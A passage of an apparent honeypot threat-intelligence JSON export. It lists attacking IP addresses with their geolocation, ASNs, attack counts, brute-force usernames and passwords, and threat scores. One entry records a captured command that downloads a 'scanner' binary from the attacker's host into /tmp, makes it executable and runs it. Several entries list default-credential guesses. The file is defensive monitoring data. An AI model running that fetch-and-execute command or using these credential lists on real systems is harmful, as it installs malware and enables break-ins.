      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:41:18.906000+00:00",
        "last_seen_30d": "2026-05-07T07:47:48.753000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "31.42.184.185": {
      "attack_count": 42,
      "first_seen": "2026-05-12T00:26:47.812Z",
      "last_seen": "2026-05-31T14:16:15.095Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 30860,
      "as_org": "Virtual Systems LLC",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T00:26:47.812000+00:00",
        "last_seen_30d": "2026-05-31T14:17:22.041000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "167.235.26.80": {
      "attack_count": 33,
      "first_seen": "2026-05-05T00:41:00.372Z",
      "last_seen": "2026-05-27T16:51:08.255Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success",
        "cowrie.session.closed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:41:00.372000+00:00",
        "last_seen_30d": "2026-05-27T16:52:09.859000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 17
      }
    },
    "45.156.87.50": {
      "attack_count": 30,
      "first_seen": "2026-05-12T07:39:54.321Z",
      "last_seen": "2026-05-16T16:30:56.313Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "ftpuser",
        "support",
        "test",
        "veeranarayana"
      ],
      "passwords_attempted": [
        "ftppassword",
        "raspberry",
        "support",
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.7,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:39:54.321000+00:00",
        "last_seen_30d": "2026-05-16T16:32:01.977000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 17
      }
    },
    "178.253.55.183": {
      "attack_count": 22,
      "first_seen": "2026-05-14T15:16:03.247Z",
      "last_seen": "2026-05-14T15:16:16.432Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "!474918",
        "123456*",
        "admin606|",
        "ohbKVtSrhi$",
        "password929#"
      ],
      "commands_executed": [
        "wget -q -O /tmp/.pulse http://178.253.55.183:8000/scanner && chmod +x /tmp/.pulse && /tmp/.pulse &"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 203273,
      "as_org": "NetCrafters OU",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T15:16:03.247000+00:00",
        "last_seen_30d": "2026-05-14T15:17:21.422000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 9
      }
    },
    "38.78.202.5": {
      "attack_count": 22,
      "first_seen": "2026-05-26T23:23:59.959Z",
      "last_seen": "2026-05-26T23:38:33.597Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Ban\u00ed",
      "asn": 274324,
      "as_org": "AS274324",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T23:23:59.959000+00:00",
        "last_seen_30d": "2026-05-26T23:39:36.821000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 16
      }
    },
    "192.42.116.108": {
      "attack_count": 21,
      "first_seen": "2026-05-10T15:47:08.764Z",
      "last_seen": "2026-05-30T20:49:53.481Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 86.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.9,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 489,
        "days_active_30d": 21,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-10T15:47:08.764000+00:00",
        "last_seen_30d": "2026-05-30T20:51:02.178000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 324,
        "Honeytrap": 117,
        "Cowrie": 17,
        "Ciscoasa": 14,
        "H0neytr4p": 13,
        "Dionaea": 4
      }
    },
    "139.162.31.15": {
      "attack_count": 18,
      "first_seen": "2026-05-03T05:42:47.436Z",
      "last_seen": "2026-05-05T00:54:27.772Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:42:47.436000+00:00",
        "last_seen_30d": "2026-05-05T00:55:34.355000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "74.48.96.40": {
      "attack_count": 18,
      "first_seen": "2026-05-08T17:23:29.141Z",
      "last_seen": "2026-05-18T02:40:15.993Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:23:29.141000+00:00",
        "last_seen_30d": "2026-05-18T02:41:23.715000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "61.184.68.89": {
      "attack_count": 16,
      "first_seen": "2026-05-20T17:32:46.053Z",
      "last_seen": "2026-05-23T12:59:18.597Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T17:32:46.053000+00:00",
        "last_seen_30d": "2026-05-23T13:00:23.954000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "62.76.230.89": {
      "attack_count": 15,
      "first_seen": "2026-05-13T12:48:52.613Z",
      "last_seen": "2026-05-13T13:28:28.041Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "hr@123",
        "simon",
        "window"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": null,
      "asn": 47585,
      "as_org": "Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T12:48:52.613000+00:00",
        "last_seen_30d": "2026-05-13T13:36:38.908000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 15
      }
    },
    "74.208.130.72": {
      "attack_count": 10,
      "first_seen": "2026-05-06T05:28:46.732Z",
      "last_seen": "2026-05-06T05:30:28.754Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T05:28:46.732000+00:00",
        "last_seen_30d": "2026-05-06T05:33:02.282000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "188.113.80.177": {
      "attack_count": 8,
      "first_seen": "2026-05-17T15:18:47.676Z",
      "last_seen": "2026-05-28T06:05:03.035Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Norway",
      "country_code": "NO",
      "city": "Trondheim",
      "asn": 49455,
      "as_org": "Telia Norge AS",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T15:18:47.676000+00:00",
        "last_seen_30d": "2026-05-28T06:06:10.746000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "143.198.75.50": {
      "attack_count": 6,
      "first_seen": "2026-05-21T00:59:05.977Z",
      "last_seen": "2026-05-21T00:59:06.279Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T00:59:05.977000+00:00",
        "last_seen_30d": "2026-05-21T01:00:10.709000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "149.248.1.235": {
      "attack_count": 6,
      "first_seen": "2026-05-09T21:29:36.560Z",
      "last_seen": "2026-05-09T21:29:43.055Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:29:36.560000+00:00",
        "last_seen_30d": "2026-05-09T21:30:46.789000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.184.212.154": {
      "attack_count": 6,
      "first_seen": "2026-05-17T16:28:13.534Z",
      "last_seen": "2026-05-17T16:28:48.606Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Duque de Caxias",
      "asn": 269344,
      "as_org": "Onda Livre Fibra LTDA.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T16:28:13.534000+00:00",
        "last_seen_30d": "2026-05-17T16:33:03.707000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.172.220": {
      "attack_count": 6,
      "first_seen": "2026-05-28T01:36:35.304Z",
      "last_seen": "2026-05-28T01:37:17.889Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T06:58:31+00:00",
        "last_seen_30d": "2026-05-31T16:40:16.581000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 48,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "185.66.143.222": {
      "attack_count": 4,
      "first_seen": "2026-05-21T14:09:30.244Z",
      "last_seen": "2026-05-21T15:35:33.838Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Croatia",
      "country_code": "HR",
      "city": null,
      "asn": 200514,
      "as_org": "KnownSRV Ltd.",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T12:30:46.687000+00:00",
        "last_seen_30d": "2026-05-21T16:18:25.668000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "191.243.183.198": {
      "attack_count": 4,
      "first_seen": "2026-05-25T00:18:50.650Z",
      "last_seen": "2026-05-25T00:20:51.776Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "P\u00e9rola",
      "asn": 263509,
      "as_org": "DOMUS TELECOM",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T00:18:50.650000+00:00",
        "last_seen_30d": "2026-05-25T00:21:57.034000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "199.45.155.86": {
      "attack_count": 4,
      "first_seen": "2026-05-21T08:07:56.949Z",
      "last_seen": "2026-05-21T08:08:12.567Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 71.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.9,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 25,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T22:03:20+00:00",
        "last_seen_30d": "2026-05-30T01:03:51.668000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 26,
        "Cowrie": 4
      }
    },
    "38.196.64.77": {
      "attack_count": 4,
      "first_seen": "2026-05-03T23:31:28.435Z",
      "last_seen": "2026-05-03T23:35:30.213Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271951,
      "as_org": "4 EVER PLUG,C.A.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T23:31:28.435000+00:00",
        "last_seen_30d": "2026-05-03T23:36:36.157000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "5.189.145.22": {
      "attack_count": 4,
      "first_seen": "2026-05-08T19:50:38.856Z",
      "last_seen": "2026-05-08T19:51:11.575Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:50:38.856000+00:00",
        "last_seen_30d": "2026-05-08T19:52:21.368000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "74.244.197.90": {
      "attack_count": 4,
      "first_seen": "2026-05-02T13:46:31.165Z",
      "last_seen": "2026-05-02T13:48:34.116Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zimbabwe",
      "country_code": "ZW",
      "city": "Harare",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:46:31.165000+00:00",
        "last_seen_30d": "2026-05-02T13:59:11.112000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "65.49.1.232": {
      "attack_count": 3,
      "first_seen": "2026-05-20T11:30:58.713Z",
      "last_seen": "2026-05-20T11:30:58.714Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 355,
        "days_active_30d": 30,
        "ports_targeted_30d": 93,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T03:58:29+00:00",
        "last_seen_30d": "2026-05-31T14:53:47.701000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 223,
        "Honeytrap": 107,
        "Redishoneypot": 11,
        "Cowrie": 3,
        "Dionaea": 3,
        "Honeyaml": 3,
        "ConPot": 2,
        "Tanner": 2,
        "Ipphoney": 1
      }
    },
    "102.54.243.162": {
      "attack_count": 2,
      "first_seen": "2026-05-15T07:46:21.450Z",
      "last_seen": "2026-05-15T07:46:35.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T07:46:21.450000+00:00",
        "last_seen_30d": "2026-05-15T07:47:41.249000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.207.235.70": {
      "attack_count": 2,
      "first_seen": "2026-05-09T04:45:13.212Z",
      "last_seen": "2026-05-09T04:45:25.711Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Indore",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T04:45:13.212000+00:00",
        "last_seen_30d": "2026-05-09T04:46:28.836000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.39.131.141": {
      "attack_count": 2,
      "first_seen": "2026-05-07T20:01:43.945Z",
      "last_seen": "2026-05-07T20:02:14.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:01:43.945000+00:00",
        "last_seen_30d": "2026-05-07T20:03:22.921000+00:00",
        "days_since_last_seen": 24
      },
